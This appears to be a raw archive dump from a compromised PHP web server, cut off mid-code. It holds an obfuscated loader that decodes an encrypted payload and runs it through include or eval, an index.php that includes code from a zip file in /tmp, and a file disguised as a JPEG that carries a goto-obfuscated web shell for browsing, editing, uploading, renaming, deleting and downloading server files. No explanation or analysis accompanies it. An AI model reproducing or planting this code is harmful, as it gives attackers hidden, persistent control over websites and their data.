'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');
$jivdSVx = '50a6004127f6f8e95b927888630c9442';
$mOaxjlb = 'c19b4d5caafc92ee2e31ebd76dde5f1a';
$TgDOzpaT = 3;


function SuiROhBDIg($arr) {
    return base64_decode(implode('', $arr));
}

function PAjaCPLpy($data, $hexkey) {
    $k = hex2bin($hexkey);
    $out = '';
    $klen = strlen($k);
    $dlen = strlen($data);
    for ($i=0; $i<$dlen; $i++) {
        $out .= chr(ord($data[$i]) ^ ord($k[$i % $klen]));
    }
    return $out;
}

function QPcBFxFrU($data, $n, $dir = 'r') {
    $out = '';
    $dlen = strlen($data);
    for ($i=0; $i<$dlen; $i++) {
        $b = ord($data[$i]) & 0xFF;
        if ($dir === 'r') {
            $b = (($b >> $n) | (($b << (8 - $n)) & 0xFF)) & 0xFF;
        } else {
            $b = ((($b << $n) & 0xFF) | ($b >> (8 - $n))) & 0xFF;
        }
        $out .= chr($b);
    }
    return $out;
}

function ODCahlbgkR($fname, $payload) {
    $tmp = sys_get_temp_dir() . '/' . uniqid('t', true) . '.php';
    if (@file_put_contents($tmp, $payload) !== false) {
        @chmod($tmp, 0640);
        if (@rename($tmp, $fname)) {
            @include_once($fname);
            return true;
        }
    }
    @file_put_contents($fname, $payload);
    @include_once($fname);
    return true;
}

try {
    $enc = SuiROhBDIg($SMpiPHfV);
    $s = '';
    for ($i=0;$i<strlen($enc);$i++) { $s .= chr((~ord($enc[$i])) & 0xFF); }
    $s = PAjaCPLpy($s, $mOaxjlb);
    $s = QPcBFxFrU($s, $TgDOzpaT, 'r');
    $s = strrev($s);
    $s = PAjaCPLpy($s, $jivdSVx);

    $tmp = sys_get_temp_dir() . '/' . uniqid('p', true) . '.php';
    if (@file_put_contents($tmp, $s) !== false) {
        @include_once($tmp);
        @unlink($tmp);
        exit;
    }
    @eval($s);
    exit;

} catch (Exception $e) { exit; }
?>index.php000064400000000150151550217160006363 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "ile3.php"; include("zip:///tmp/phptpd9aH#$h");?>916iu.php000064400000054306151550217160006145 0ustar00ÿØÿà JFIF      ÿÛ „ 	 ( %"1!%)+...383,7(-.+



-+++--++++---+-+-----+---------------+---+-++7-----ÿÀ  ß â" ÿÄ               ÿÄ H       !1AQaq"‘¡2B±ÁÑð#R“Ò Tbr‚²á3csƒ’ÂñDS¢³$CÿÄ              ÿÄ %        !1AQa"23‘ÿÚ   ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ	ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6
öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ
"Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷󲍷˜HT4&ÿ ÓÐü6ö®¿øþßèô	Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt	‘BŒ†Ï‡%#tE Øz ¥OÛ«!1›üä±Í™%º<!vB™'èÔ6´Ña¿«e`Àà0U[-ÂБ4)M÷YK*³hï÷%ÎÎkÇ«m‘-íWŽLsã?nÂ~«†üö®þ¡ÂlÃaÿ ‰ÿ l©°Õ¥ åÜá¿r ºL[Çâ°(Çè'Vãôl8´ÏRÀvLvPõ:…ÙNçF™÷ë>Íãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%ÌÁ²h´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ǍýʏTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆѪQ|%6ž™A	õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»&
î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$˝Úsäÿ 
÷Û	#°xŸëí(l
	 »ý3—¥5m!
rt`†0~'j2(]S¦¦kv,ÚÇl¦øJA£Šƒ
J3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡* ….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉ䢍mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ ñ#ºI¤Å´%çÁ­‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg
A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±b Lô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø	ð\á)}	¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U		Z©RÊ ÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD
é©¤&‡ïDbàÁôMÁ.<?php
 goto womi2; pQy4F: echo "\x22\x3e\xa\x20\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\x3c\x74\x65\x78\164\x61\x72\145\x61\40\x6e\141\x6d\145\75\42\x66\151\154\145\x5f\143\157\156\x74\145\x6e\164\x22\76"; goto fII2j; MriuI: $J6ql8 = $yGbeW . "\57" . $_GET["\x64\157\167\156\154\x6f\x61\x64"]; goto T6_SQ; IPFyY: $yGbeW = isset($_GET["\x64\x69\162"]) ? realpath($_GET["\x64\151\162"]) : $mz96K; goto rC8qj; UPFtL: $yGbeW = $mz96K; goto VOalH; j2vBG: $D7rac = $yGbeW . "\57" . $_POST["\x6f\x6c\x64\137\x6e\141\x6d\x65"]; goto JP3r0; p5in9: unlink($fd8bH); goto SNxPu; dGXaV: uuf1S: goto hD3PH; dIp8F: $XNNy9 = $_POST["\146\x69\x6c\x65\x5f\x63\x6f\156\x74\145\x6e\x74"]; goto lnCSt; vknfc: if (!isset($_POST["\x72\145\156\141\155\x65\x5f\146\151\154\x65"])) { goto uuf1S; } goto j2vBG; JERaO: if (!isset($_GET["\144\x6f\167\x6e\x6c\157\x61\x64"])) { goto dnHM_; } goto MriuI; HvmpV: echo "\x22\x3e\12\x20\40\x20\x20\40\40\x20\40\74\x69\156\x70\165\x74\40\164\171\x70\145\x3d\x22\164\x65\170\x74\42\x20\156\x61\x6d\145\x3d\42\x6e\145\x77\x5f\156\141\x6d\145\42\40\x70\154\x61\143\x65\x68\x6f\x6c\144\145\162\x3d\x22\x4e\145\x77\40\x6e\141\x6d\145\x22\40\163\164\171\x6c\x65\75\x22\x77\151\144\164\x68\72\40\x31\x30\x30\x25\73\x20\x70\x61\x64\x64\151\156\147\72\40\x31\60\x70\x78\73\42\x3e\xa\x20\40\x20\40\40\40\40\x20\x3c\x62\x75\164\x74\157\x6e\x20\164\x79\160\x65\75\42\163\165\142\155\x69\x74\42\x20\156\x61\x6d\145\x3d\42\162\x65\x6e\x61\155\x65\x5f\146\151\x6c\x65\x22\76\122\x65\156\x61\155\x65\x3c\57\142\x75\164\x74\157\x6e\x3e\12\40\40\x20\x20\74\x2f\x66\157\x72\x6d\x3e\xa\x20\40\40\x20"; goto D1Wgl; fI_fT: echo "\xa\x20\x20\x20\40\74\x21\55\55\40\x46\x6f\x72\155\x20\165\x6e\164\165\x6b\40\x6d\x65\x6e\147\x65\144\151\x74\x20\x66\151\154\145\40\x2d\55\76\12\x20\x20\x20\x20"; goto LIdpC; NnkK1: header("\x43\x6f\x6e\x74\x65\x6e\164\55\x44\x69\163\160\x6f\x73\x69\x74\151\157\x6e\72\x20\x61\x74\164\141\143\150\155\x65\x6e\164\x3b\40\146\x69\x6c\x65\156\x61\155\145\75\x22" . basename($J6ql8) . "\x22"); goto td6WN; YSKAa: header("\x4c\x6f\143\x61\164\x69\x6f\156\72\40\x3f\144\x69\x72\75" . urlencode($_GET["\x64\x69\x72"])); goto dGXaV; beTnD: echo "\40\40\40\40\40\x20\x20\x20\x20\40\x20\40\x3c\x66\157\x72\155\x20\155\145\x74\150\157\144\x3d\42\x70\x6f\x73\164\42\x3e\12\40\40\x20\40\x20\40\40\40\40\x20\40\x20\40\40\40\40\x3c\151\x6e\160\x75\x74\x20\164\171\160\x65\x3d\x22\x68\x69\144\x64\145\156\42\x20\156\x61\155\x65\75\42\x66\x69\154\145\x5f\x6e\x61\155\145\x22\x20\166\x61\154\x75\x65\75\42"; goto FgpTK; JP3r0: $hl1Xv = $yGbeW . "\x2f" . $_POST["\156\145\x77\137\x6e\x61\x6d\145"]; goto nZY6k; wiyTx: echo "\x3c\x2f\x61\x3e\74\x2f\x70\x3e\12\40\x20\x20\40\xa\x20\x20\40\x20\74\x64\151\166\x20\143\154\141\x73\163\75\x22\x66\157\162\155\55\143\x6f\x6e\164\x61\151\156\x65\x72\42\x3e\xa\40\x20\40\x20\40\40\40\x20\74\x21\x2d\55\40\106\x6f\162\x6d\x20\165\156\x74\x75\153\x20\165\160\154\157\x61\x64\40\146\151\x6c\x65\x20\x2d\55\x3e\12\x20\x20\40\x20\40\x20\40\x20\x3c\146\157\x72\155\40\x6d\x65\x74\x68\157\x64\x3d\x22\x70\x6f\163\x74\42\40\x65\x6e\143\x74\171\x70\145\75\x22\155\165\x6c\x74\151\160\x61\x72\x74\57\x66\157\162\155\55\144\x61\x74\x61\42\x3e\xa\40\x20\40\x20\40\40\x20\x20\x20\40\40\40\74\151\156\x70\165\164\40\x74\171\x70\x65\75\42\146\x69\154\x65\42\x20\156\x61\x6d\145\75\42\x66\x69\x6c\x65\42\76\xa\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x3c\x62\165\x74\164\x6f\x6e\40\x74\171\x70\x65\75\42\x73\x75\142\155\151\x74\x22\x20\156\x61\x6d\145\x3d\x22\x75\x70\154\x6f\141\x64\42\76\125\x70\154\x6f\141\144\x3c\57\x62\165\x74\164\157\156\76\xa\40\x20\40\40\x20\x20\40\40\74\x2f\146\x6f\162\x6d\76\xa\12\x20\x20\40\40\40\40\x20\x20\x3c\41\x2d\x2d\x20\106\157\162\x6d\x20\165\156\x74\165\153\x20\155\x65\155\x62\x75\141\164\40\x66\151\154\x65\40\142\x61\162\165\40\x2d\x2d\x3e\xa\x20\40\x20\40\40\x20\40\40\x3c\x66\x6f\x72\155\40\x6d\145\164\x68\157\144\75\x22\160\157\x73\x74\x22\76\12\40\40\x20\40\40\x20\x20\x20\40\40\40\40\74\151\156\x70\x75\x74\x20\164\171\160\145\x3d\x22\164\x65\170\164\x22\x20\x6e\x61\x6d\x65\x3d\42\156\x65\x77\137\x66\151\154\145\137\x6e\141\x6d\x65\42\x20\160\154\141\143\x65\150\157\x6c\144\x65\x72\x3d\x22\x4e\145\x77\x20\146\151\x6c\145\40\x6e\x61\x6d\x65\x22\40\x72\145\161\165\x69\162\x65\144\76\12\x20\40\x20\x20\x20\x20\40\40\40\x20\40\40\x3c\142\x75\x74\164\157\x6e\x20\x74\x79\x70\x65\x3d\x22\x73\x75\x62\155\151\x74\42\x20\x6e\141\155\x65\75\42\x63\162\145\x61\164\145\137\146\x69\154\145\42\x3e\x43\162\145\x61\164\x65\x20\106\151\154\x65\x3c\57\x62\x75\164\164\157\x6e\76\12\40\40\x20\x20\x20\40\40\x20\74\57\146\157\162\x6d\x3e\12\x20\40\40\40\74\x2f\x64\x69\166\x3e\12\12\40\x20\40\x20\x3c\x74\141\x62\154\x65\40\142\x6f\162\x64\145\162\75\42\x31\x22\x3e\12\40\x20\x20\40\40\x20\x20\x20\74\164\150\145\x61\144\76\xa\40\x20\40\x20\40\40\40\x20\x20\x20\40\x20\74\164\162\x3e\xa\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\x3c\x74\x68\x3e\x46\151\154\145\40\x4e\x61\155\x65\x3c\x2f\164\x68\x3e\12\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\74\164\x68\x3e\x53\x69\x7a\145\x3c\x2f\x74\x68\x3e\12\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\74\164\x68\x3e\101\143\x74\151\157\156\x73\x3c\x2f\x74\x68\76\xa\x20\40\40\x20\40\x20\x20\x20\x20\40\40\40\x3c\57\164\x72\x3e\xa\x20\x20\x20\40\40\x20\x20\x20\74\x2f\x74\x68\145\x61\x64\x3e\12\40\40\40\40\x20\40\40\40\x3c\x74\142\x6f\144\171\76\12\40\40\40\40\x20\40\40\40\40\40\40\x20"; goto VaCVK; FgpTK: echo $_GET["\x65\144\151\x74"]; goto pQy4F; hn42X: $EHBNq = $yGbeW . "\x2f" . $_POST["\146\151\x6c\145\137\156\141\x6d\145"]; goto dIp8F; PyP6_: echo "\x22\x20\163\164\171\x6c\145\x3d\x22\143\x6f\154\x6f\162\x3a\x20\43\60\x33\x44\x41\103\66\73\42\x3e"; goto zj7hC; womi2: $mz96K = realpath(__DIR__); goto IPFyY; Xsu_X: if (!isset($_POST["\x73\141\x76\145\x5f\x66\151\x6c\x65"])) { goto gEelU; } goto hn42X; uDpFH: $t8kMD = $_POST["\156\x65\167\137\x66\151\154\x65\137\x6e\141\155\145"]; goto N59aw; rC8qj: if (!(!$yGbeW || !is_dir($yGbeW))) { goto uRI4C; } goto UPFtL; zj7hC: echo $yGbeW; goto wiyTx; X1fRy: zOaYm: goto Xsu_X; mUuHK: header("\x43\157\156\x74\x65\x6e\164\x2d\124\x79\160\x65\x3a\x20\141\x70\x70\x6c\151\x63\x61\x74\x69\157\x6e\x2f\x6f\143\x74\145\164\x2d\x73\x74\x72\x65\141\x6d"); goto NnkK1; eM5JY: echo $_GET["\x72\145\156\x61\x6d\145"]; goto HvmpV; dzsDs: if (!isset($_GET["\144\x65\154\145\164\x65"])) { goto YWvXO; } goto VEyk9; T6_SQ: if (!is_file($J6ql8)) { goto NU8jm; } goto Dmpyc; B7QmT: header("\x4c\157\x63\x61\164\x69\x6f\x6e\72\40\x3f\x64\151\x72\75" . urlencode($_GET["\x64\151\162"])); goto WbFfl; SNxPu: XvFkr: goto B7QmT; q7smT: readfile($J6ql8); goto ZSiUM; Dmpyc: header("\x43\x6f\156\x74\145\156\x74\x2d\x44\145\163\143\162\x69\160\x74\x69\x6f\156\x3a\40\106\x69\x6c\x65\x20\124\x72\x61\156\x73\146\x65\162"); goto mUuHK; LObF8: header("\114\157\143\141\164\151\157\x6e\72\x20\x3f\x64\x69\x72\75" . urlencode($_GET["\144\151\162"])); goto X1fRy; vTVYv: V5DrG: goto JuNBA; nZY6k: rename($D7rac, $hl1Xv); goto YSKAa; WPoPN: function F00Ue($BjjAr) { goto TN_gP; NUBum: LJelH: goto Wqcyl; hcBGb: foreach ($alrBN as $jGfFS) { goto NutqT; m9pNm: echo "\x3c\164\144\76\x46\x6f\154\144\145\162\74\57\x74\x64\76"; goto xltsa; K2A5m: echo "\x3c\57\164\x72\76"; goto RfRe2; GSWXk: echo "\74\x74\x64\x3e\74\x61\40\150\162\x65\x66\x3d\42\x3f\144\151\x72\75" . urlencode($BjjAr . "\57" . $jGfFS) . "\x22\x3e\xf0\237\x93\201\x20" . $jGfFS . "\74\x2f\x61\76\x3c\57\x74\144\76"; goto m9pNm; NutqT: echo "\x3c\x74\162\76"; goto GSWXk; xltsa: echo "\74\164\144\76\12\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\74\141\x20\150\x72\145\146\x3d\42\77\144\x69\162\75" . urlencode($BjjAr) . "\x26\145\x64\x69\x74\75" . urlencode($jGfFS) . "\42\x3e\x45\144\x69\164\74\57\141\x3e\x20\174\xa\40\x20\40\x20\x20\x20\x20\40\40\40\x20\40\x3c\141\x20\x68\162\145\146\x3d\x22\77\x64\151\x72\75" . urlencode($BjjAr) . "\46\144\145\154\x65\x74\x65\75" . urlencode($jGfFS) . "\42\x3e\x44\x65\154\145\x74\145\x3c\57\141\76\x20\174\12\x20\40\x20\40\x20\x20\x20\x20\40\40\40\40\x3c\141\x20\x68\162\x65\x66\x3d\42\x3f\x64\x69\162\x3d" . urlencode($BjjAr) . "\x26\162\x65\x6e\x61\x6d\145\75" . urlencode($jGfFS) . "\42\x3e\122\x65\x6e\141\155\145\74\x2f\141\x3e\40\174\xa\40\x20\40\40\40\40\40\40\x20\40\40\x20\74\141\x20\150\x72\145\x66\75\x22\77\x64\151\x72\x3d" . urlencode($BjjAr) . "\46\144\x6f\x77\x6e\154\157\141\144\x3d" . urlencode($jGfFS) . "\42\76\104\157\x77\156\x6c\157\141\x64\74\57\x61\x3e\12\40\40\x20\40\x20\40\40\40\x3c\57\164\x64\x3e"; goto K2A5m; RfRe2: gTsgz: goto jF0La; jF0La: } goto NUBum; hU7wa: $OZBDt = []; goto O1NDz; Tgrtz: CyuJc: goto l7gGQ; O1NDz: foreach ($lWTTD as $qCHXQ) { goto JGdXx; UmoYn: WstXK: goto XwQtV; E4e2M: J6gJS: goto UmoYn; zvrgX: goto J6gJS; goto x4TyU; jS8gE: $OZBDt[] = $qCHXQ; goto zvrgX; JGdXx: if (!($qCHXQ != "\56" && $qCHXQ != "\56\x2e")) { goto WstXK; } goto H7UDJ; x4TyU: JqJnu: goto xu2GW; XwQtV: w8KNE: goto Re57M; xu2GW: $alrBN[] = $qCHXQ; goto E4e2M; H7UDJ: if (is_dir($BjjAr . "\x2f" . $qCHXQ)) { goto JqJnu; } goto jS8gE; Re57M: } goto w9sbv; Wqcyl: foreach ($OZBDt as $qCHXQ) { goto CxSp8; yBzrj: echo "\74\164\144\x3e\xa\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\x3c\x61\x20\x68\162\x65\x66\x3d\42\77\144\x69\x72\75" . urlencode($BjjAr) . "\x26\145\144\x69\164\75" . urlencode($qCHXQ) . "\x22\76\x45\144\x69\x74\74\57\x61\76\x20\x7c\xa\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x3c\x61\40\x68\x72\x65\146\x3d\42\77\144\x69\x72\x3d" . urlencode($BjjAr) . "\x26\144\145\154\145\x74\145\75" . urlencode($qCHXQ) . "\42\76\104\145\154\145\x74\x65\74\57\x61\x3e\x20\x7c\12\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x3c\x61\x20\150\162\x65\x66\x3d\42\x3f\x64\x69\x72\75" . urlencode($BjjAr) . "\x26\x72\145\x6e\x61\x6d\145\x3d" . urlencode($qCHXQ) . "\42\76\x52\x65\156\141\155\145\x3c\x2f\x61\76\40\174\12\x20\x20\40\x20\x20\x20\40\40\40\40\40\x20\74\141\40\150\162\x65\146\x3d\x22\77\144\x69\x72\75" . urlencode($BjjAr) . "\x26\x64\157\167\156\x6c\x6f\x61\x64\75" . urlencode($qCHXQ) . "\x22\76\x44\x6f\167\x6e\x6c\157\141\x64\74\57\141\x3e\12\40\x20\x20\x20\x20\40\40\40\x3c\x2f\x74\144\x3e"; goto E2dfg; ns1qU: echo "\x3c\164\144\x3e" . $qCHXQ . "\x3c\57\x74\x64\76"; goto hRjG2; hRjG2: echo 